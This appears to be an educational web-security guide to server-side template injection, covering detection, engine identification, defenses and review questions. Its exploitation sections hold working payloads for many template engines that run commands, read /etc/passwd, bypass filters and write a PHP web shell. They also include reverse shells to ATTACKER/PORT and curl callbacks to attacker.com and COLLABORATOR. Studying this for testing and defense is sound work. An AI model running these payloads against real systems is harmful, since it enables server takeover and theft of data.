On this page
Server-Side Template Injection (SSTI)
1. What is SSTI
SSTI is a vulnerability where user input ends up inside a template and the template engine interprets it as code, not data.
Attacker → input: {{7*7}} → Template engine → interprets as expression
↓
49 in response
↓
sandbox escape → RCE
The key point: the template engine evaluates expressions, calls methods, traverses objects — an attacker leverages this power to execute code on the server.
Safe vs Vulnerable
# SAFE — input is passed as data
template = "Hello, {{ username }}!"
render(template, username=user_input)
# user_input = "{{7*7}}" → rendered literally as "{{7*7}}"
# VULNERABLE — input is inserted into the template itself
template = "Hello, " + user_input + "!"
render(template)
# user_input = "{{7*7}}" → engine evaluates → "Hello, 49!"
The difference: data into template (safe) vs input AS template (SSTI).
2. SSTI vs XSS — the fundamental difference
| XSS | SSTI | |
|---|---|---|
| Where it executes | In the browser (client) | On the server |
| Language | JavaScript | Python, PHP, Java, Ruby... |
| Access | DOM, cookies, localStorage | Files, OS, DB, network |
| Maximum impact | Session hijacking, phishing | RCE — full server control |
| Severity | Medium-High | High-Critical |
They may look similar on the surface (input reflected on the page), but SSTI is an order of magnitude more dangerous.
3. Template engines: who's who
Major engines by language
| Language | Engine | Syntax | Danger level |
|---|---|---|---|
| Python | Jinja2 | {{ }} / {% %} | High — MRO chains |
| Python | Mako | ${ } / <% %> | Very high — direct Python |
| PHP | Twig | {{ }} / {% %} | High — filters, _self |
| PHP | Smarty | { } | High — {php} tag (old versions) |
| Java | Freemarker | ${ } / <# > | Very high — Execute, ObjectConstructor |
| Java | Velocity | $var / #set() | High — reflection |
| Java | Thymeleaf | ${ } in attributes | High — SpEL injections |
| Java | Pebble | {{ }} / {% %} | High — reflection |
| Ruby | ERB | <%= %> | Very high — direct Ruby |
| JS/Node | Pug (Jade) | indentation | High |
| JS/Node | Handlebars | {{ }} | Low — limited logic |
| JS/Node | EJS | <%= %> | High — direct JS |
| .NET | Razor | @( ) / @{ } | Medium |
Logic-less vs Logic-full
- Logic-less (Mustache, Handlebars) — minimal logic, SSTI unlikely
- Logic-full (Jinja2, Twig, Freemarker, ERB, Mako, Pebble) — loops, method calls, object access → attack surface
4. Detecting SSTI
Step 1: Find reflection points
Where user input can end up in a template:
Obvious:
- Displaying username, email, profile
- Search bar with reflection: "Results for: X"
- Comments, reviews, messages
- Template customization (CMS, email campaigns, builders)
Less obvious:
- Error pages: "Page X not found" (404)
- Error messages: "Invalid parameter: X"
- PDF/email generation — data rendered through a template
- Message previews
- URL parameters:
?name=,?message=,?greeting=,?template= - HTTP headers (rare):
Host,Refererinjected into a template
Step 2: Distinguish SSTI from plain reflection
Inject a math expression in template engine syntax:
Input: {{7*7}}
If "49" in response → engine evaluated it → SSTI
If "{{7*7}}" in response → plain reflection → not SSTI
But {{7*7}} is not the only syntax! Try different ones:
{{7*7}} — Jinja2, Twig, Handlebars
${7*7} — Freemarker, Mako, Thymeleaf
#{7*7} — Thymeleaf (Spring), Ruby
<%= 7*7 %> — ERB, EJS
{7*7} — Smarty
#set($x=7*7)$x — Velocity
Polyglot payload
A universal detector covering most engines:
${{<%[%'"}}%\
Why it works:
${{— triggers Freemarker/Mako (${...}) and Jinja2/Twig ({{...}})<%— ERB/EJS/JSP[%— Perl Template Toolkit'"— causes a parser error on unclosed strings}}%\— closing constructs for different engines
Goal: trigger a parser error confirming a template engine is present. If the server returns 500 with a stack trace — there's a template engine.
SSTI via Host header
Some applications inject the Host header into a template for link generation (e.g., password reset emails):
Host: {{7*7}}.evil.com
If 49.evil.com shows up in the email — SSTI via Host header. Found in Django, Flask, Ruby on Rails with misconfigured setups.
Step 3: PortSwigger decision tree (engine identification)
This is the key methodology — sequential payload injection:
${7*7}
/ \
49 a]${7*7}
/ \
${7*7} works #{7*7}
(Java/Python) \
| 49 → Thymeleaf / Ruby
{{7*7}} not 49 → unknown
/ \
49 error/nothing
/ \
{{7*'7'}} not this syntax
/ \ → try others
7777777 49
| |
Jinja2 Twig
Full tree:
1. Inject {{7*7}}
→ 49? ─────── Yes ──→ 2. Inject {{7*'7'}}
│ → "7777777"? ── Yes ──→ Jinja2 (Python)
│ → "49"? ─────── Yes ──→ Twig (PHP)
│
└── No ──→ 3. Inject ${7*7}
→ 49? ─── Yes ──→ 4. Inject ${class.getClass()}
│ → response? ── Yes ──→ Java (Freemarker/Velocity)
│ → error? ───── Yes ──→ Mako (Python)
│
└── No ──→ 5. Inject <%= 7*7 %>
→ 49? ── Yes ──→ ERB (Ruby) / EJS (Node)
│
└── No ──→ 6. Inject {7*7}
→ 49? ── Yes ──→ Smarty (PHP)
└── No ──→ different engine
Key payload: {{7*'7'}}
Purpose: distinguishes Jinja2 from Twig (both use {{ }}):
| Payload | Jinja2 (Python) | Twig (PHP) |
|---|---|---|
{{7*'7'}} | 7777777 (Python: "7" * 7 = string repetition) | 49 (PHP: string cast to number) |
5. Sandbox Escape — the key concept
What is a sandbox
The template engine intentionally restricts available functionality:
- No
import - No
eval,exec,system - No filesystem access
- Only variables passed into the template
Sandbox escape means finding a way to bypass these restrictions while staying inside the template.
Why you can't just {{ import os; os.system("id") }}
The template engine doesn't execute arbitrary language code. It only executes expressions in its own syntax. import is a Python statement, not a Jinja2 expression. The engine doesn't understand it.
But the engine can access object attributes — and that's enough to break out.
6. Per-engine exploitation
6.1 Jinja2 (Python) — MRO chains
MRO (Method Resolution Order) is the class inheritance chain in Python. Any object → its class → base object → all subclasses → dangerous classes.
Chain step by step:
# 1. Take any available object (string, number, list)
""
# 2. Get its class
"".__class__ → <class 'str'>
# 3. Climb to the base object class via MRO
"".__class__.__mro__ → (<class 'str'>, <class 'object'>)
"".__class__.__mro__[1] → <class 'object'>
# 4. Get ALL subclasses of object (hundreds!)
"".__class__.__mro__[1].__subclasses__()
# → [..., <class 'subprocess.Popen'>, <class 'os._wrap_close'>, ...]
# 5. Find the target class by index and call it
"".__class__.__mro__[1].__subclasses__()[INDEX]("id", shell=True)
Visually:
"" (string)
└── __class__ → str
└── __mro__ → [str, object]
└── object
└── __subclasses__() → [list, dict, ..., subprocess.Popen, ...]
└── Popen("id", shell=True) → RCE!
Ready-made Jinja2 payloads:
File read:
{{ "".__class__.__mro__[1].__subclasses__()[INDEX]("/etc/passwd").read() }}
RCE via subprocess.Popen:
{{ "".__class__.__mro__[1].__subclasses__()[INDEX]("id", shell=True, stdout=-1).communicate() }}
RCE via config/request (if Flask objects are available):
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__init__.__globals__['os'].popen('id').read() }}
RCE via cycler (Jinja2 >= 2.11, no Flask needed):
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
How to find the right subclass index:
The index of subprocess.Popen (or another dangerous class) differs across systems. Finding it:
# Print all subclasses and find the one you need manually:
{{ "".__class__.__mro__[1].__subclasses__() }}
# Or use a loop:
{% for cls in "".__class__.__mro__[1].__subclasses__() %}
{% if cls.__name__ == 'Popen' %}
{{ loop.index0 }}
{% endif %}
{% endfor %}
WAF / filter bypass in Jinja2
If _, ., [, ], class, etc. are filtered:
# Via attr() filter (bypasses dots and underscores)
{{ ""| attr("__class__") | attr("__mro__") }}
# Via request.args (bypasses string filtering)
{{ "".__class__.__mro__[1].__subclasses__()[request.args.i|int](request.args.cmd,shell=True,stdout=-1).communicate() }}
# URL: ?i=INDEX&cmd=id
# Hex-encoded strings
{{ ""["\x5f\x5fclass\x5f\x5f"] }} ← \x5f = _
# Via dict and join
{{ dict(__cla=1,ss__=1)|join }} → "__class__"
# Via format string
{{ "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) }}
6.2 Twig (PHP)
Twig 1.x (old — direct path to RCE):
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
Twig 2.x / 3.x:
{{ ['id'] | filter('system') }}
{{ ['cat /etc/passwd'] | filter('exec') }}
{{ app.request.server.get('DOCUMENT_ROOT') }}
File read:
{{ source('/etc/passwd') }}
{{ include('/etc/passwd') }}
Via map:
{{ ['id'] | map('system') | join }}
{{ ['id'] | sort('system') | join }}
6.3 Freemarker (Java)
One of the most dangerous — has built-in code execution capabilities:
Execute (direct RCE):
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}
ObjectConstructor:
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
${obj("java.lang.Runtime").getRuntime().exec("id")}
File read:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve("/etc/passwd").toURL().openStream().readAllBytes()?join(" ")}
6.4 Velocity (Java)
#set($runtime = $class.inspect("java.lang.Runtime"))
#set($getRuntime = $runtime.getMethod("getRuntime", null))
#set($rt = $getRuntime.invoke(null, null))
#set($exec = $rt.exec("id"))
$exec.waitFor()
Or shorter:
#set($ex = $class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($result = $ex.inputStream)
6.5 Smarty (PHP)
Old versions (< 3):
{php}system('id');{/php}
New versions:
{system('id')}
{Smarty_Internal_Write_File::writeFile('/var/www/html/shell.php','<?php system($_GET["cmd"]); ?>',self::clearConfig())}
6.6 ERB (Ruby)
ERB gives direct access to Ruby — virtually no sandbox:
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").read() %>
<%= File.read("/etc/passwd") %>
6.7 Mako (Python)
Same idea — direct Python:
${__import__("os").popen("id").read()}
<% import os; os.system("id") %>
6.8 Thymeleaf (Java / Spring)
Injection via Spring Expression Language (SpEL):
${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
Thymeleaf can be vulnerable even without ${ } — through view names:
GET /path/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
6.9 Pebble (Java / Spring)
A growing-in-popularity Java engine. Syntax resembles Twig ({{ }} / {% %}).
Detection:
{{ "test".toUpperCase() }} → TEST
RCE:
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd) %}
{{ bytes.inputStream.text }}
Via reflection:
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}
7. Blind SSTI
When the expression result isn't visible in the response:
Timing
# Jinja2 — heavy computation
{{ range(100000000)|list }}
# Or sleep via RCE
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("sleep 5", shell=True) }}
If the response is delayed → SSTI confirmed.
OOB (Out-of-Band)
# Jinja2 — DNS/HTTP callback
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("curl http://COLLABORATOR", shell=True) }}
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("nslookup COLLABORATOR", shell=True) }}
# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("curl http://COLLABORATOR/$(id)")}
# Twig
{{ ['curl http://COLLABORATOR'] | filter('system') }}
Use Burp Collaborator or interactsh to receive callbacks.
8. SSTI → RCE: the chain
Unlike XXE (file reads) or SSRF (requests), SSTI provides a direct path to RCE:
Detection → {{7*7}} = 49
Identification → {{7*'7'}} = 7777777 → Jinja2
Sandbox escape → MRO chain to subprocess.Popen
RCE → id, cat /etc/passwd, reverse shell
All in a single HTTP request. No webshell, no external server, no file writes needed.
Reverse shell via SSTI
# Jinja2
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'", shell=True) }}
# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")}
# ERB
<%= system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") %>
9. Chaining with other vulnerabilities
SSTI rarely exists in isolation. Understanding chains lets you escalate impact or discover SSTI through adjacent vulnerabilities.
| Chain | How it works | Impact |
|---|---|---|
| SSTI → SSRF | RCE via SSTI = you can make any request from code | Full internal network access, cloud metadata |
| SSRF → SSTI | SSRF to an internal service that renders templates | RCE via template injection |
| SSTI → LFI | Reading files via template (config, env) before achieving RCE | Secret leakage |
| XSS → SSTI | Client-side XSS + server-side template rendering with SSR | Client-side vuln escalation |
| SSTI + WAF bypass | Obfuscation via attr(), hex, dict+join | Defense bypass |
More on SSRF → SSRF (Server-Side Request Forgery).
10. Testing methodology
Step 1: Identify input points
- Find all places where input is reflected in the response
- Pay attention to: error pages, profiles, search, email templates, PDF generation
- Check parameters:
name=,message=,template=,email=,greeting= - Check headers:
Host,Referer(rare but happens)
Step 2: Confirm SSTI
Inject payloads into every reflection point:
# Universal detection set:
{{7*7}}
${7*7}
<%= 7*7 %>
{7*7}
#{7*7}
${{7*7}}
If you see 49 — SSTI confirmed.
If nothing — try:
{{7*7}} → reflected as {{7*7}}? → not a template engine
→ 500 error? → template engine exists, but wrong syntax
→ empty / filtered? → could be a WAF
Step 3: Identify the engine (decision tree)
1. {{7*7}} = 49?
├── Yes → {{7*'7'}}
│ ├── 7777777 → Jinja2
│ └── 49 → Twig
└── No → ${7*7} = 49?
├── Yes → Java (Freemarker/Velocity) or Mako
└── No → <%= 7*7 %> = 49?
├── Yes → ERB or EJS
└── No → {7*7} = 49?
├── Yes → Smarty
└── No → other / no SSTI
Additional checks for narrowing down:
# Java: Freemarker vs Velocity
${"freemarker.template.utility.Execute"?new()("id")} → works? → Freemarker
#set($x=7*7)$x → works? → Velocity
# Python: Jinja2 vs Mako
${7*7} → works + no {% %} → Mako
{{7*7}} → works → Jinja2
Step 4: Exploitation
Identified the engine → use payloads from section 6.
Escalation order:
1. Confirmation: {{7*7}} → 49
2. Read config: config, settings, env
3. Read files: /etc/passwd, .env, config.php
4. RCE: id, whoami
5. Reverse shell / further exploitation
Step 5: If it doesn't work
- Try a different syntax — might be the wrong engine
- Check for filtering:
_,.,[,{{— and use bypasses (section 6.1) - Try blind SSTI: payload executes but the result isn't displayed
- Timing:
{{ range(10000000) }}— does the page load slower? - OOB:
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("curl attacker.com/$(id)", shell=True) }}
- Timing:
- Try via headers: same payload in
User-Agent,Referer
11. Defending against SSTI
The right approach — separate data from template
# SAFE — input as data
render_template("hello.html", name=user_input)
# Template: "Hello, {{ name }}!"
# user_input = "{{7*7}}" → rendered literally
# VULNERABLE — input in the template itself
template = Template("Hello, " + user_input + "!")
template.render()
General principles
- Never concatenate input with a template — always pass it through context/variables
- Sandbox — use the engine's sandbox (Jinja2 SandboxedEnvironment)
- Character whitelist — if users write templates, restrict allowed constructs
- Minimal context — don't pass objects with dangerous methods into the template
- WAF — filter
{{,${,<%— but this is unreliable (bypasses exist)
Jinja2 Sandbox
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
template.render()
# Blocks access to __class__, __mro__, __subclasses__, etc.
The sandbox is not absolute protection — researchers periodically find bypasses. The best approach: don't give users control over the template at all.
12. Severity assessment
| Severity | Conditions |
|---|---|
| Critical | RCE via sandbox escape, reverse shell, OS access |
| High | Reading arbitrary files with secrets, access to configs, environment variables |
| Medium | Limited data reads, blind SSTI without full RCE, internal information leakage |
| Low | Expression evaluation only without escalation, no OS access |
SSTI is almost always Critical — because sandbox escape exists for most engines, and the path from detection to RCE is usually short.
13. Tools
| Tool | Purpose |
|---|---|
| tplmap | Automatic SSTI detection and exploitation (supports Jinja2, Twig, Freemarker, Velocity, Smarty, Mako, ERB, and more) |
| SSTImap | tplmap fork with extended engine support |
| Burp Suite | Request interception, payload injection, Intruder for fuzzing |
| Burp Collaborator / interactsh | Blind SSTI confirmation |
| PayloadsAllTheThings | Payload repository for all engines |
| HackTricks | Sandbox escape reference for each engine |
tplmap — automation
# Detection and identification
python tplmap.py -u "http://target.com/page?name=test"
# With a POST parameter
python tplmap.py -u "http://target.com/page" -d "name=test"
# Getting a shell
python tplmap.py -u "http://target.com/page?name=test" --os-shell
# Reading a file
python tplmap.py -u "http://target.com/page?name=test" --os-cmd "cat /etc/passwd"
14. Notable cases
Uber (2016, Bug Bounty): SSTI in Jinja2 via a profile parameter → RCE. Bounty $10,000+.
Shopify (2019, Bug Bounty): SSTI in Liquid templates → reading internal data through template engine objects.
Adobe (2020, Bug Bounty):
SSTI in Freemarker → full RCE on the server via Execute.
PortSwigger Research: Numerous sandbox escape studies in Jinja2, Twig, Freemarker — each new version patches holes, but researchers find new bypasses.
Spring Framework (CVE-2022-22963): SpEL injection (analogous to SSTI in Thymeleaf) → RCE. Mass exploitation.
15. Q&A — Review questions
What is SSTI?
A vulnerability where user input ends up not in the template's data but in the template itself — and the engine interprets it as code. Input {{7*7}} becomes 49 not because the application computed it, but because the template engine processed the expression. The key distinction from safe usage: render(template, data=input) is safe, render("Hello " + input) is SSTI.
What typically causes SSTI?
Concatenating user input with the template before rendering instead of passing it through parameters/context. Typical scenarios: customizing email templates through an admin panel, dynamically assembling pages from database fragments, a "quick fix" for inserting text without adding a new parameter. The developer fails to distinguish "data for the template" from "part of the template."
What does the safe pattern look like compared to the vulnerable one?
Safe: render_template("page.html", name=user_input) — the engine substitutes the variable value, template special characters aren't interpreted. Vulnerable: render_template_string("Hello, " + user_input) — the engine can't distinguish the static template from user input, everything gets processed as a single construct. Even if the input is escaped against HTML injection — template syntax ({{, ${, <%) still executes.
What two SSTI contexts are important to distinguish?
Plaintext context: input is outside template constructs — Hello, INPUT → Hello, {{7*7}} → Hello, 49. The payload works directly. Code context: input is already inside a template expression — Hello, {{INPUT}} → you need to "close" the current construct first: username}}<tag>. If the HTML tag appears in the response — the input broke out of the expression and is interpreted as template.
Why is SSTI often confused with XSS?
They look similar on the surface — input is reflected on the page. But XSS executes in the browser (client), while SSTI executes on the server. XSS gives access to DOM, cookies, localStorage. SSTI gives access to the filesystem, OS, network — it's a path to RCE. When initially discovering reflection, it's important to test not just <script>alert(1)</script> but also {{7*7}}, ${7*7}, <%= 7*7 %>.
Why is identifying the specific template engine critical for SSTI?
Each engine has its own syntax, available objects, restrictions, and paths to RCE. A Jinja2 payload (__class__.__mro__) won't work in Twig or Freemarker. The PortSwigger decision tree ({{7*'7'}} = 7777777 → Jinja2, = 49 → Twig) lets you identify the engine in 2-3 requests and pick the right payloads. Without identification — blind guessing that can take hours.
What's the impact of SSTI if RCE isn't achieved?
Reading template environment variables (config, settings, env — often contain secrets, API keys, DB connection strings). Reading files (in Twig: source('/etc/passwd'), in Jinja2 via __subclasses__). Internal information leakage: framework version, server paths, class names — useful for further attacks. SSTI without RCE is usually High severity due to confidential data exposure.
Why is the template engine's sandbox not absolute protection?
The sandbox restricts available operations — but researchers regularly find bypasses. Jinja2's SandboxedEnvironment blocks __class__ and __mro__, but attributes can be obtained via attr() filter, hex encoding, dict+join. Twig's SecurityPolicy restricts filters and functions — but new bypasses appear with every version. The sandbox makes exploitation harder but doesn't eliminate the root cause — input is still interpreted as template.
What's the mature answer for SSTI defense?
The main thing — never concatenate input with a template, always pass it through context/variables. If users need to write templates (CMS, email) — use logic-less engines (Mustache, Handlebars without helpers) that don't allow code execution. Sandbox is an additional layer, not the primary defense. Containerization and minimal privileges limit the blast radius if RCE occurs. The mature approach is a combination: separating data from template + logic-less engine or sandbox + container isolation.
16. Quick-review cheatsheet
SSTI = user input is interpreted by the template engine as code
Root cause:
render("Hello, " + INPUT) ← vulnerable (input AS template)
render(template, name=INPUT) ← safe (input as data)
Detection:
{{7*7}}, ${7*7}, <%= 7*7 %>, {7*7}, #{7*7}
→ see 49 → SSTI
Polyglot: ${{<%[%'"}}%\ → 500 with trace → engine present
Identification (tree):
{{7*'7'}} = 7777777 → Jinja2
{{7*'7'}} = 49 → Twig
${7*7} → Freemarker/Mako
<%= 7*7 %> → ERB/EJS
"test".toUpperCase() → Pebble
Sandbox escape (Jinja2):
"" → __class__ → __mro__ → object → __subclasses__() → Popen → RCE
Quick: {{ cycler.__init__.__globals__.os.popen('id').read() }}
Key payloads:
Jinja2: {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Twig: {{ ['id'] | filter('system') }}
Freemarker: ${"freemarker.template.utility.Execute"?new()("id")}
ERB: <%= system("id") %>
Mako: ${__import__("os").popen("id").read()}
Pebble: {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}
Blind SSTI:
Timing → heavy computation / sleep
OOB → curl/nslookup to Collaborator
Chains:
SSTI → SSRF (requests from code)
SSRF → SSTI (internal service with templates)
SSTI → LFI (file reads before RCE)
Tools: tplmap, SSTImap, Burp Suite
Severity: almost always Critical (SSTI ≈ RCE)
Defense: input via variables, not via concatenation with template
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.